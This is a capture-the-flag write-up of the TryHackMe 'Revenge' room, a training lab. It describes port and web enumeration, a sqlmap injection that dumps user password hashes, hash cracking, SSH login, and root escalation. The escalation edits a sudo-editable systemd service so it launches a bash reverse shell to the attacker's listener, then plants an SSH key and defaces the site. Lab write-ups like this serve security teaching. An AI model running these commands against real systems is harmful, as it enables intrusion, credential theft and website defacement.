Featured image of post TryHackMe: Revenge Writeup

TryHackMe: Revenge Writeup

Learn about SQL injections basded on parameters and a neat sudo systemctl exploit.

Play

This room has a solid start:

To whom it may concern,

I know it was you who hacked my blog.  I was really impressed with your skills.  You were a little sloppy 
and left a bit of a footprint so I was able to track you down.  But, thank you for taking me up on my offer.  
I've done some initial enumeration of the site because I know *some* things about hacking but not enough.  
For that reason, I'll let you do your own enumeration and checking.

What I want you to do is simple.  Break into the server that's running the website and deface the front page.  
I don't care how you do it, just do it.  But remember...DO NOT BRING DOWN THE SITE!  We don't want to cause irreparable damage.

When you finish the job, you'll get the rest of your payment.  We agreed upon $5,000.  
Half up-front and half when you finish.

Good luck,

Billy

1. Scanning & Enumeration

We do the below scans in parallel.

1.1. Port Scanning

Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 72:53:b7:7a:eb:ab:22:70:1c:f7:3c:7a:c7:76:d9:89 (RSA)
|   256 43:77:00:fb:da:42:02:58:52:12:7d:cd:4e:52:4f:c3 (ECDSA)
|_  256 2b:57:13:7c:c8:4f:1d:c2:68:67:28:3f:8e:39:30:ab (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: E859DC70A208F0F0242640410296E06A
| http-methods: 
|_  Supported Methods: HEAD GET OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Home | Rubber Ducky Inc.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Info gathered:

  • port 22 open with SSH running
  • port 80 open with http running

A complete port scan does not reveal any more information.

1.2. Web Enumeration

Gobuster scan:

┌──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x 'php,html,txt' -t 108 -q -u 10.10.212.230
/index                (Status: 200) [Size: 8541]
/login                (Status: 200) [Size: 4980]
/contact              (Status: 200) [Size: 6906]
/products             (Status: 200) [Size: 7254]
/static               (Status: 301) [Size: 194] [--> http://10.10.212.230/static/]
/admin                (Status: 200) [Size: 4983]                                  
/requirements.txt     (Status: 200) [Size: 258]

1.3. Web Exploration

home page of rubber ducky home page of rubber ducky

Login page redirects to an action=# in the url. login page redirects to an <code>action=#</code> in the url

requirements.txt file:

attrs==19.3.0
bcrypt==3.1.7
cffi==1.14.1
click==7.1.2
Flask==1.1.2
Flask-Bcrypt==0.7.1
Flask-SQLAlchemy==2.4.4
itsdangerous==1.1.0
Jinja2==2.11.2
MarkupSafe==1.1.1
pycparser==2.20
PyMySQL==0.10.0
six==1.15.0
SQLAlchemy==1.3.18
Werkzeug==1.0.1

1.4. Sub-domain Fuzzing (fail) (can be skipped)

Add the line 10.10.212.230 ducky.thm to the /etc/hosts file.

┌──(kali㉿kali)-[~]
└─$ cat /etc/hosts 
127.0.0.1       localhost
127.0.1.1       kali
10.10.212.230   ducky.thm
# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

We find any subdomains by using wfuzz: wfuzz -c -w ~/Desktop/tools/files/subdomains-top1million-5000.txt -u 'http://ducky.thm/' -H "Host: FUZZ.ducky.thm"

Here’s whats happening:

  • -c is for color
  • -w is for wordlist
  • -H is for host
  • -u is for URL
  • FUZZ is replaced by the item in the wordlist
┌──(kali㉿kali)-[~]
└─$ wfuzz -c -w ~/Desktop/tools/files/subdomains-top1million-5000.txt -u 'http://ducky.thm/' -H "Host: FUZZ.ducky.thm" --hw 636
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://ducky.thm/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                 
=====================================================================


Total time: 0
Processed Requests: 4989
Filtered Requests: 4989
Requests/sec.: 0

1.5. SQLI (fail) (can be skipped)

We can check for SQL Injection vulnerabilities using SQLmap: sqlmap -u http://10.10.212.230/admin --forms --dump-all

However,

[ERROR] all tested parameters do not appear to be injectable.

1.6. Login Page Exploration (fail) (can be skipped)

GET /login?action= HTTP/1.1
Host: 10.10.212.230
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.10.212.230/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Looks like … the username and password is not being sent at all?!

This means that we are looking at something else … Even in sqlmap, I noticed the form that was being epxloited was the GET form,

[01:25:18] [INFO] searching for forms
[#1] form:
GET http://10.10.212.230/login?action=

This means that we want to fill in and add parameters for username and password.

Perhaps something like this: http://10.10.212.230/login?username=&password=&action=

Oh! And recall we had pymysql present in the requirements.txt file. This means we are using MySQL as the database.

So I tried and then tried some more but it failed. What next? Well I noticed something interesting back in the error pages.

1.7. Error! Error!

You see, the /products/1 page is fine, but /products/100 page gives a 500 error. This is server side error. 500 error code seen on non existent product

On the other hand, a page like /pwn gives: 404 error code not found

See the difference? Maybe, what we are looking for, is an attack on the /products/ page!

Run: sqlmap -u http://10.10.212.230/products/1 --dump

Database: duckyinc
Table: system_user
[3 entries]
+----+----------------------+--------------+--------------------------------------------------------------+
| id | email                | username     | _password                                                    |
+----+----------------------+--------------+--------------------------------------------------------------+
| 1  | sadmin@duckyinc.org  | server-admin | {hash_was_here!} |
| 2  | kmotley@duckyinc.org | kmotley      | $2a$12$LEENY/LWOfyxyCBUlfX8Mu8viV9mGUse97L8x.4L66e9xwzzHfsQa |
| 3  | dhughes@duckyinc.org | dhughes      | $2a$12$22xS/uDxuIsPqrRcxtVmi.GR2/xh0xITGdHuubRF4Iilg5ENAFlcK |
+----+----------------------+--------------+--------------------------------------------------------------+

In the user table we get the first flag :D

1.8. Hash Cracking

┌──(kali㉿kali)-[/tmp]
└─$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 256 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
{hidden}         (?)
1g 0:00:00:00 DONE (2021-06-27 01:49) 3.846g/s 1038p/s 1038c/s 1038C/s hellokitty..hotmail
Use the "--show" option to display all of the cracked passwords reliably
Session completed

2. Foothold

We know the /login and the /admin pages are completely useless. That leaves us with SSH.

After lots of manual bruteforcing, I found the username is actually server-admin and not sadmin.

┌──(kali㉿kali)-[/tmp]
└─$ ssh server-admin@10.10.212.230
server-admin@10.10.212.230's password: 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-112-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 System information disabled due to load higher than 1.0


8 packages can be updated.
0 updates are security updates.


################################################################################
#                        Ducky Inc. Web Server 00080012                        #
#            This server is for authorized Ducky Inc. employees only           #
#                  All actiions are being monitored and recorded               #
#                    IP and MAC addresses have been logged                     #
################################################################################
Last login: Wed Aug 12 20:09:36 2020 from 192.168.86.65
server-admin@duckyinc:~$

2.1. Exploration

Users

server-admin@duckyinc:~$ ls /home
server-admin

crontab

server-admin@duckyinc:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

SUID

server-admin@duckyinc:~$ find / -type f -perm -u=s 2> /dev/null
/usr/bin/newgidmap
/usr/bin/newuidmap
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/chsh
/usr/bin/traceroute6.iputils
/usr/bin/at
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/passwd
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

SUDO

server-admin@duckyinc:~$ sudo -l
[sudo] password for server-admin: 
Matching Defaults entries for server-admin on duckyinc:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User server-admin may run the following commands on duckyinc:
    (root) /bin/systemctl start duckyinc.service, /bin/systemctl enable duckyinc.service, /bin/systemctl restart
        duckyinc.service, /bin/systemctl daemon-reload, sudoedit /etc/systemd/system/duckyinc.service

Great! Looks like sudo can lead us to root!

3. PrivEsc

3.1. Getting root

Type in: sudoedit /etc/systemd/system/duckyinc.service and replace the contents with the below.

[Unit]
Description=pwn

[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/IP/1337 0>&1'

[Install]
WantedBy=multi-user.target

Make sure to replace the IP as per your attacking machine. Also, start a listener nc -lnvp 1337

I did the following,

server-admin@duckyinc:~$ sudo /bin/systemctl daemon-reload
server-admin@duckyinc:~$ sudo /bin/systemctl enable duckyinc.service
server-admin@duckyinc:~$ sudo /bin/systemctl restart duckyinc.service
server-admin@duckyinc:~$ sudo /bin/systemctl start duckyinc.service

And we have the shell!

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 1337         
listening on [any] 1337 ...
connect to [10.17.8.184] from (UNKNOWN) [10.10.212.230] 44520
bash: cannot set terminal process group (16663): Inappropriate ioctl for device
bash: no job control in this shell
root@duckyinc:/# cd /root
cd /root
root@duckyinc:~# ls

Feel free to root@duckyinc:~/.ssh# echo "{your_own_id_rsa.pub_key_here}" >> authorized_keys for a ssh login.

3.2. Defacing Website

root@duckyinc:/var/www/duckyinc/templates# echo "pwned by chaudhary1337" > index.html
root@duckyinc:/var/www/duckyinc/templates# cd ~
root@duckyinc:~# ls
flag3.txt
root@duckyinc:~# cat flag3.txt 
thm{yeee}

System compromised

Built with Hugo
Theme Stack designed by Jimmy